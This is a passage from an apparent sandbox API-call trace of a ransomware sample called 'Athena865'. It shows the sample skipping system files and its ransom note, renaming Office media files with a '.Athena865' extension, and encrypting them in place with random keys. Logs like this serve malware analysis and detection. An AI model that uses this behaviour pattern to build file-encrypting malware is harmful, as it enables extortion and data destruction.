Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.athena865"), dwFlags=0x1) returned 1 [0137.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0137.871] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=394200) returned 1 [0137.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.872] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.872] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.872] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.872] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x606e0, lpName=0x0) returned 0x154 [0137.874] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x606e0) returned 0x2bb0000 [0137.892] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.892] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.892] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0137.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0137.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.893] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0137.896] CloseHandle (hObject=0x154) returned 1 [0137.896] CloseHandle (hObject=0x17c) returned 1 [0137.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.898] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0137.898] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.898] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.898] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2=".") returned 1 [0137.898] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="..") returned 1 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="windows") returned -1 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="bootmgr") returned 1 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="temp") returned -1 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="pagefile.sys") returned -1 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="boot") returned 1 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="ids.txt") returned -1 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="ntuser.dat") returned -1 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="perflogs") returned -1 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="MSBuild") returned -1 [0137.899] lstrlenW (lpString="ELPHRG01.WAV") returned 12 [0137.899] lstrcpyW (in: lpString1=0x241e8aa, lpString2="ELPHRG01.WAV" | out: lpString1="ELPHRG01.WAV") returned="ELPHRG01.WAV" [0137.899] lstrlenW (lpString="ELPHRG01.WAV") returned 12 [0137.899] lstrlenW (lpString="Athena865") returned 9 [0137.899] lstrcmpiW (lpString1="HRG01.WAV", lpString2="Athena865") returned 1 [0137.899] lstrlenW (lpString=".dll") returned 4 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2=".dll") returned 1 [0137.899] lstrlenW (lpString=".lnk") returned 4 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2=".lnk") returned 1 [0137.899] lstrlenW (lpString=".ini") returned 4 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2=".ini") returned 1 [0137.899] lstrlenW (lpString=".sys") returned 4 [0137.899] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2=".sys") returned 1 [0137.899] lstrlenW (lpString="ELPHRG01.WAV") returned 12 [0137.899] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.Athena865") returned 71 [0137.899] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav.athena865"), dwFlags=0x1) returned 1 [0137.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0137.907] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22618) returned 1 [0137.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.908] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.908] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.909] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.909] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b60, lpName=0x0) returned 0x154 [0137.910] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5b60) returned 0x100000 [0137.912] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.912] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.912] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0137.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0137.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.913] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.913] CloseHandle (hObject=0x154) returned 1 [0137.913] CloseHandle (hObject=0x17c) returned 1 [0137.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.914] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf111ac0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcf111ac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0137.914] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0137.914] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2=".") returned 1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2="..") returned 1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2="windows") returned -1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2="bootmgr") returned 1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2="temp") returned -1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2="pagefile.sys") returned -1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2="boot") returned 1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2="ids.txt") returned 1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2="ntuser.dat") returned -1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2="perflogs") returned -1 [0137.914] lstrcmpiW (lpString1="J0088542.WMF", lpString2="MSBuild") returned -1 [0137.914] lstrlenW (lpString="J0088542.WMF") returned 12 [0137.914] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0088542.WMF" | out: lpString1="J0088542.WMF") returned="J0088542.WMF" [0137.914] lstrlenW (lpString="J0088542.WMF") returned 12 [0137.914] lstrlenW (lpString="Athena865") returned 9 [0137.914] lstrcmpiW (lpString1="88542.WMF", lpString2="Athena865") returned -1 [0137.915] lstrlenW (lpString=".dll") returned 4 [0137.915] lstrcmpiW (lpString1="J0088542.WMF", lpString2=".dll") returned 1 [0137.915] lstrlenW (lpString=".lnk") returned 4 [0137.915] lstrcmpiW (lpString1="J0088542.WMF", lpString2=".lnk") returned 1 [0137.915] lstrlenW (lpString=".ini") returned 4 [0137.915] lstrcmpiW (lpString1="J0088542.WMF", lpString2=".ini") returned 1 [0137.915] lstrlenW (lpString=".sys") returned 4 [0137.915] lstrcmpiW (lpString1="J0088542.WMF", lpString2=".sys") returned 1 [0137.915] lstrlenW (lpString="J0088542.WMF") returned 12 [0137.915] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF.Athena865") returned 71 [0137.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf.athena865"), dwFlags=0x1) returned 1 [0137.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0137.916] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13826) returned 1 [0137.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.917] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.917] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.917] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.917] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.918] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.918] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3910, lpName=0x0) returned 0x154 [0137.919] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3910) returned 0x100000 [0137.920] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.921] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.921] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0137.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0137.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.922] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.922] CloseHandle (hObject=0x154) returned 1 [0137.922] CloseHandle (hObject=0x17c) returned 1 [0137.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.922] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2=".") returned 1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2="..") returned 1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2="windows") returned -1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2="bootmgr") returned 1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2="temp") returned -1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2="pagefile.sys") returned -1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2="boot") returned 1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2="ids.txt") returned 1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2="ntuser.dat") returned -1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2="perflogs") returned -1 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2="MSBuild") returned -1 [0137.923] lstrlenW (lpString="J0090070.WMF") returned 12 [0137.923] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0090070.WMF" | out: lpString1="J0090070.WMF") returned="J0090070.WMF" [0137.923] lstrlenW (lpString="J0090070.WMF") returned 12 [0137.923] lstrlenW (lpString="Athena865") returned 9 [0137.923] lstrcmpiW (lpString1="90070.WMF", lpString2="Athena865") returned -1 [0137.923] lstrlenW (lpString=".dll") returned 4 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2=".dll") returned 1 [0137.923] lstrlenW (lpString=".lnk") returned 4 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2=".lnk") returned 1 [0137.923] lstrlenW (lpString=".ini") returned 4 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2=".ini") returned 1 [0137.923] lstrlenW (lpString=".sys") returned 4 [0137.923] lstrcmpiW (lpString1="J0090070.WMF", lpString2=".sys") returned 1 [0137.923] lstrlenW (lpString="J0090070.WMF") returned 12 [0137.924] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF.Athena865") returned 71 [0137.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf.athena865"), dwFlags=0x1) returned 1 [0137.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0137.933] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=34944) returned 1 [0137.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.933] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.934] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.934] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.934] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b80, lpName=0x0) returned 0x154 [0137.935] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b80) returned 0x100000 [0137.939] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.940] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.940] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0137.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0137.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.940] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.941] CloseHandle (hObject=0x154) returned 1 [0137.941] CloseHandle (hObject=0x17c) returned 1 [0137.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.941] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0137.941] lstrcmpiW (lpString1="J0090386.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.941] lstrcmpiW (lpString1="J0090386.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.941] lstrcmpiW (lpString1="J0090386.WMF", lpString2=".") returned 1 [0137.941] lstrcmpiW (lpString1="J0090386.WMF", lpString2="..") returned 1 [0137.941] lstrcmpiW (lpString1="J0090386.WMF", lpString2="windows") returned -1 [0137.941] lstrcmpiW (lpString1="J0090386.WMF", lpString2="bootmgr") returned 1 [0137.941] lstrcmpiW (lpString1="J0090386.WMF", lpString2="temp") returned -1 [0137.942] lstrcmpiW (lpString1="J0090386.WMF", lpString2="pagefile.sys") returned -1 [0137.942] lstrcmpiW (lpString1="J0090386.WMF", lpString2="boot") returned 1 [0137.942] lstrcmpiW (lpString1="J0090386.WMF", lpString2="ids.txt") returned 1 [0137.942] lstrcmpiW (lpString1="J0090386.WMF", lpString2="ntuser.dat") returned -1 [0137.942] lstrcmpiW (lpString1="J0090386.WMF", lpString2="perflogs") returned -1 [0137.942] lstrcmpiW (lpString1="J0090386.WMF", lpString2="MSBuild") returned -1 [0137.942] lstrlenW (lpString="J0090386.WMF") returned 12 [0137.942] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0090386.WMF" | out: lpString1="J0090386.WMF") returned="J0090386.WMF" [0137.942] lstrlenW (lpString="J0090386.WMF") returned 12 [0137.942] lstrlenW (lpString="Athena865") returned 9 [0137.942] lstrcmpiW (lpString1="90386.WMF", lpString2="Athena865") returned -1 [0137.942] lstrlenW (lpString=".dll") returned 4 [0137.942] lstrcmpiW (lpString1="J0090386.WMF", lpString2=".dll") returned 1 [0137.942] lstrlenW 